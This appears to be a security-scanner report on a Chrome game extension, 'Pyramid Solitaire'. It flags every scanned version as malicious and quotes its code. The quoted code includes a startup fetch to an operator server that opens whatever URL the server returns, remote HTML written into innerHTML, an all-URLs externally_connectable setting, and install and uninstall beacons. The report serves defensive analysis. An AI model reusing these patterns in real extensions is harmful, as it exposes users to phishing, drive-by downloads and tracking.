Pyramid Solitaire

Pyramid Solitaire

ID: oanpifaoclmgmflmddlgkikfaggejobn

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Active
Version
2.5.5
Size
7.94 MB
Rating
5.0/5
Reviews
1
Users
29
Type
Extension
Updated
Apr 14, 2026
Category
Games
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Trusted
Author
https://top.rodeo/View Profile
Country
DE
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
Yes
Mailbox exists
Yes
Address
Ringelsweide 28 Düsseldorf 40223 DE
Website
Visit
Total Extensions
72
Active
42
Obsolete
30
Listed
72
Unlisted
0
Total Users
6,850

Email Change History

1 change
Apr 27, 2024
Domain changed
Screenshot 1
Screenshot 2

Pyramid Solitaire: Match pairs to clear the pyramid. A classic card game of strategy and skill for endless solo fun!

"Pyramid Solitaire" is a classic card game where the goal is to clear a pyramid by matching pairs of cards that add up to 13. Strategic moves and careful planning are essential to conquer each level. With its engaging gameplay and timeless appeal, "Pyramid Solitaire" offers endless solo entertainment. Immerse yourself in the world of cards, challenge your mind, and enjoy the satisfaction of unraveling the pyramid. Download now for a relaxing and rewarding experience in the realm of solitaire.

Item
Type
Severity
Description
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 20% increase: Access to sensitive domains increases potential impact
https://www.googleapis.com/*
Host
Medium
Host permission — access limited to this URL pattern.
https://wheel.cloudapi.stream/*
Host
Medium
Host permission — access limited to this URL pattern.
https://mines.cloudapi.stream/*
Host
Medium
Host permission — access limited to this URL pattern.
https://top.rodeo/*
Host
Medium
Host permission — access limited to this URL pattern.
Access to Sensitive Domains
Risk Factor
Medium
This extension requests access to sensitive domains: https://www.googleapis.com/*

On every extension startup, the background script POSTs the extension ID to an attacker-controlled server and opens whatever URL the server returns in a new tab. This is a remote-controlled tab hijack: the operator can silently redirect users to phishing pages, malvertising, or drive-by download sites at any time without touching the extension package itself. The delayed-payload pattern is the standard technique for evading CWS review.

background.js (Line 23)
async function loadInfo() {  try {    const response = await fetch("https://mines.cloudapi.stream/user_info", {      method: "POST",      headers: {        "Content-Type": "application/json"      },      body: JSON.stringify({        type: 'background',        ext: chrome.runtime.id      })    });    const result = await response.json();    if (result?.success && result?.infoURL) {      chrome.tabs.create({        url: result.infoURL      });    }  } catch (error) {    console.error(error);  }}loadInfo();

Server-supplied strings from `mines.cloudapi.stream` are injected verbatim into the DOM via `innerHTML` without any sanitisation. Because this runs inside an extension page with access to `chrome.*` APIs, the operator can push arbitrary HTML/JS payloads to harvest browsing data or escalate privileges through the extension's host permissions at any time.

popup/userpage.js (Line 43)
if (result.rating) {  ratingPlayers.innerHTML = result.rating;}if (result.protxt) {  proplansID.innerHTML = result.protxt;  proplansID.classList.remove('h_');}

Every install, update, and uninstall event is reported to `cloudapi.stream` along with the extension ID, enabling the operator to build a persistent install-base inventory and correlate user sessions across the extension lifecycle. The uninstall URL also fires a beacon on removal, confirming the tracking intent.

background.js (Line 9)
chrome.runtime.onInstalled.addListener(function(details) {  if (details.reason == "install" || details.reason === "update") {    chrome.tabs.create({      url: 'popup/index.html'    });    chrome.tabs.create({      url: 'https://cloudapi.stream/install/?reason=' + details.reason + '&id=' + chrome.runtime.id    });  }});chrome.runtime.setUninstallURL(`https://cloudapi.stream/install/?reason=uninstall&id=${chrome.runtime.id}`);

`externally_connectable` with `<all_urls>` allows every webpage the user visits to send messages to this extension via `chrome.runtime.sendMessage`. Combined with the extension's host permissions and the injectable innerHTML surface in userpage.js, this provides an inbound attack channel from any compromised or malicious website the user browses to.

manifest.json (Line 16)
{  "externally_connectable": {    "matches": [      "<all_urls>"    ]  }}

By severity

Critical2
High2
Medium0
Low0

Versions scanned

Showing 1 of 8 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.5.54

Files with findings

3 distinct paths — top paths by unique finding count:

  • background.js2
  • manifest.json1
  • popup/userpage.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
popup/userpage.js (line 43)Server-supplied strings from `mines.cloudapi.stream` are injected verbatim into the DOM via `innerHTML` without any sanitisation. Because this runs inside an extension page with access to `chrome.*` APIs, the operator…
2Remote Code Loading
critical
background.js (line 23)On every extension startup, the background script POSTs the extension ID to an attacker-controlled server and opens whatever URL the server returns in a new tab. This is a remote-controlled tab hijack: the operator ca…
3Privilege Escalation
high
manifest.json (line 16)`externally_connectable` with `<all_urls>` allows every webpage the user visits to send messages to this extension via `chrome.runtime.sendMessage`. Combined with the extension's host permissions and the injectable in…
4Tracking
high
background.js (line 9)Every install, update, and uninstall event is reported to `cloudapi.stream` along with the extension ID, enabling the operator to build a persistent install-base inventory and correlate user sessions across the extens…
URLs
27
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

cloudapi.stream/install/https://cloudapi.stream/install/?reason=
cloudapi.stream/install/https://cloudapi.stream/install/?reason=uninstall&id=${chrome.runtime.id}`
mines.cloudapi.stream/user_infohttps://mines.cloudapi.stream/user_info
getbootstrap.com-https://getbootstrap.com/
github.com/twbs/bootstrap/blob/main/LICENSEhttps://github.com/twbs/bootstrap/blob/main/LICENSE
www.w3.org/2000/svghttp://www.w3.org/2000/svg
github.com/twbs/bootstrap/graphs/contributorshttps://github.com/twbs/bootstrap/graphs/contributors
goo.gl/pxwQGphttps://goo.gl/pxwQGp
www.harrytheo.com/blog/2021/02/restart-a-css-animation-with-javascript/https://www.harrytheo.com/blog/2021/02/restart-a-css-animation-with-javascript/#restarting-a-css-animation
github.com/twbs/bootstrap/issues/32273https://github.com/twbs/bootstrap/issues/32273
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Version
Size
Is Malicious
Findings
Permhash
2.5.6
Latest
7.94 MB
Malicious
N/A
2.5.5
7.94 MB
Malicious
4N/A
2.4.5
7.94 MB
Malicious
N/A
1.3.4
4.27 MB
Malicious
N/A
1.1.0
4.30 MB
Malicious
1.0.0
4.30 MB
Malicious
1.3.5
4.27 MB
Malicious
N/A
1.3.2
4.30 MB
Malicious
N/A
Showing 1 to 8 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.